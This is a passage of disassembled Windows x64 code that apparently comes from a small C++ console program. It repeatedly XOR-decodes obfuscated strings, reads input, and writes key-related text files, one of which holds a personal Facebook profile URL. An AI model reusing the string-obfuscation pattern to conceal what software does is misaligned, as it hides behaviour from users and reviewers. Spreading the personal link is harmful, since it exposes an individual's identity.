cmp byte [rbx + 0x18], 0
je 0x1400048d3
mov r10d, r8d
cmp r9d, 2
jl 0x14000488d
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rbx
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r10d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r10 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r10d, 8
lea rcx, [rcx + 8]
cmp r10d, 0x18
jl 0x140004780
cmp r10d, 0x19
jge 0x1400048d3
movsxd r8, r10d
add r8, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r10d
add edx, r10d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r10b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r10d
lea r8, [r8 + 1]
cmp r10d, 0x19
jl 0x1400048a0
mov rdx, rbx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [0x14000f670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r14d, r14d
mov ebx, r14d
lea rcx, [rbp + 0x15d8]
call fcn.140002920
nop
lea rcx, [rbp + 0x1598]
call fcn.140002920
nop
lea rcx, [rbp + 0x1658]
call fcn.140002920
nop
lea rcx, [rbp + 0x1638]
call fcn.140002920
nop
lea rcx, [rbp + 0x1618]
call fcn.140002920
nop
lea rcx, [rbp + 0x15f8]
call fcn.140002920
nop
lea rcx, [rbp + 0x16f8]
call fcn.140002920
nop
lea rcx, [rbp + 0x1678]
call fcn.140002920
nop
lea rcx, [rbp + 0x16d8]
call fcn.140002920
nop
lea rcx, [rbp + 0x15b8]
call fcn.140002920
nop
lea rcx, [rbp + 0x10f8]
call fcn.140002920
nop
mov rax, qword [rbp + 0xfa0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xfb0], 1
jne 0x140004a7b
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0xfa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
movzx edx, byte [rbp + 0x10b0]
lea rcx, [rbp + 0x10f8]
call fcn.14000ee30
inc ebx
cmp ebx, 1
jne 0x1400049da
lea rcx, [rbp + 0x15d8]
jmp 0x140004a56
cmp ebx, 2
jne 0x1400049e8
lea rcx, [rbp + 0x1598]
jmp 0x140004a56
cmp ebx, 3
jne 0x1400049f6
lea rcx, [rbp + 0x1658]
jmp 0x140004a56
cmp ebx, 4
jne 0x140004a04
lea rcx, [rbp + 0x1638]
jmp 0x140004a56
cmp ebx, 5
jne 0x140004a12
lea rcx, [rbp + 0x1618]
jmp 0x140004a56
cmp ebx, 6
jne 0x140004a20
lea rcx, [rbp + 0x15f8]
jmp 0x140004a56
cmp ebx, 7
jne 0x140004a2e
lea rcx, [rbp + 0x16f8]
jmp 0x140004a56
cmp ebx, 8
jne 0x140004a3c
lea rcx, [rbp + 0x1678]
jmp 0x140004a56
cmp ebx, 9
jne 0x140004a4a
lea rcx, [rbp + 0x16d8]
jmp 0x140004a56
cmp ebx, 0xa
jne 0x140004a62
lea rcx, [rbp + 0x15b8]
lea rdx, [rbp + 0x10f8]
call fcn.14000eed0
mov rax, qword [rbp + 0xfa0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xfb0], 1
je 0x1400049a0
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x78], 0
lea rdx, [rbp + 0xcf0]
lea rcx, [rsp + 0x78]
call fcn.14000e800
mov r10, rax
mov r15d, dword [0x140019090]
cmp byte [rax + 0x48], 0
jne 0x140004c53
mov r8d, r14d
cmp r15d, 2
jl 0x140004c0d
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140004b00
cmp r8d, 0x49
jge 0x140004c53
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x49
jl 0x140004c20
cmp byte [r10 + 0x48], 0
je 0x140004df3
mov r8d, r14d
cmp r15d, 2
jl 0x140004dad
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140004ca0
cmp r8d, 0x49
jge 0x140004df3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x49
jl 0x140004dc0
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [0x14000f670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x79], 0
lea rdx, [rbp + 0xca0]
lea rcx, [rsp + 0x79]
call fcn.14000e850
mov r10, rax
cmp byte [rax + 0x46], 0
jne 0x140004fc3
mov r8d, r14d
cmp r15d, 2
jl 0x140004f7d
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140004e70
cmp r8d, 0x47
jge 0x140004fc3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x140004f90
cmp byte [r10 + 0x46], 0
je 0x140005163
mov r8d, r14d
cmp r15d, 2
jl 0x14000511d
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140005010
cmp r8d, 0x47
jge 0x140005163
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x140005130
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [0x14000f670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x108
lea rcx, [rbp + 0x1970]
call fcn.14000ebe0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.FB_QuyenGaBon.txt
lea rcx, [rbp + 0x1970]
call fcn.14000ecf0
nop
lea rdx, str.https:__www.facebook.com_thuynguyet.phonghoa.9
lea rcx, [rbp + 0x1970]
call fcn.14000f4a0
lea rcx, [rbp + 0x1970]
call fcn.14000ebf0
mov edx, 0x108
lea rcx, [rbp + 0x1860]
call fcn.14000ebe0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.GuiKeyChoQuyen.txt
lea rcx, [rbp + 0x1860]
call fcn.14000ecf0
nop
lea r8, [rbp + 0x1478]
lea rdx, [rbp + 0x1458]
lea rcx, [rbp + 0x5b0]
call fcn.14000f870
nop
lea r8, [rbp + 0x1498]
mov rdx, rax
lea rcx, [rbp + 0x5d0]
call fcn.14000f800
nop
lea r8, [rbp + 0x14b8]
mov rdx, rax
lea rcx, [rbp + 0x5f0]
call fcn.14000f800
nop
lea r8, [rbp + 0x14d8]
mov rdx, rax
lea rcx, [rbp + 0x3b0]
call fcn.14000f800
nop
lea r8, [rbp + 0x14f8]
mov rdx, rax
lea rcx, [rbp + 0x610]
call fcn.14000f800
nop
lea r8, [rbp + 0x1518]
mov rdx, rax
lea rcx, [rbp + 0x630]
call fcn.14000f800
nop
lea r8, [rbp + 0x13f8]
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.14000f800
nop
lea r8, [rbp + 0x1538]
mov rdx, rax
lea rcx, [rbp + 0x670]
call fcn.14000f800
nop
lea r8, [rbp + 0x1558]
mov rdx, rax
lea rcx, [rbp + 0x690]
call fcn.14000f800
nop
lea r8, [rbp + 0x1578]
mov rdx, rax
lea rcx, [rbp + 0x6b0]
call fcn.14000f800
nop
lea r8, [rbp + 0x13d8]
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.14000f800
mov rbx, rax
mov edx, dword [rbp + 0xd48]
add edx, edi
add edx, dword [rbp + 0xd44]
lea rcx, [rbp + 0x1860]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
mov rdx, rbx
call fcn.14000f9d0
nop
lea rcx, [rbp + 0x6d0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x6b0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x690]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x670]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x650]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x630]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x610]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x3b0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x5f0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x5d0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x5b0]
call fcn.1400028c0
lea rcx, [rbp + 0x1860]
call fcn.14000ebf0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x110
lea rcx, [rbp + 0xe90]
call fcn.140001840
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, str.GuiKeyChoQuyen.txt
lea rcx, [rbp + 0xe90]
call fcn.1400027b0
nop
mov rax, qword [rbp + 0xe90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xe90]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x140005812
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x7a], 0
lea rdx, [rbp + 0x7c8]
lea rcx, [rsp + 0x7a]
call fcn.14000e8a0
mov r10, rax
cmp byte [rax + 0x14], 0
jne 0x140005653
mov r8d, r14d
cmp r15d, 2
jl 0x14000560d
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140005500
cmp r8d, 0x15
jge 0x140005653
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140005620
cmp byte [r10 + 0x14], 0
je 0x1400057f3
mov r8d, r14d
cmp r15d, 2
jl 0x1400057b1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400056a0
cmp r8d, 0x15
jge 0x1400057f3
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400057c0
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [0x14000f670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, r14d
lea rcx, [rbp + 0x1298]
call fcn.140002920
nop
lea rcx, [rbp + 0x12b8]
call fcn.140002920
nop
lea rcx, [rbp + 0x12d8]
call fcn.140002920
nop
lea rcx, [rbp + 0x12f8]
call fcn.140002920
nop
lea rcx, [rbp + 0x1338]
call fcn.140002920
nop
lea rcx, [rbp + 0x1358]
call fcn.140002920
nop
lea rcx, [rbp + 0x1318]
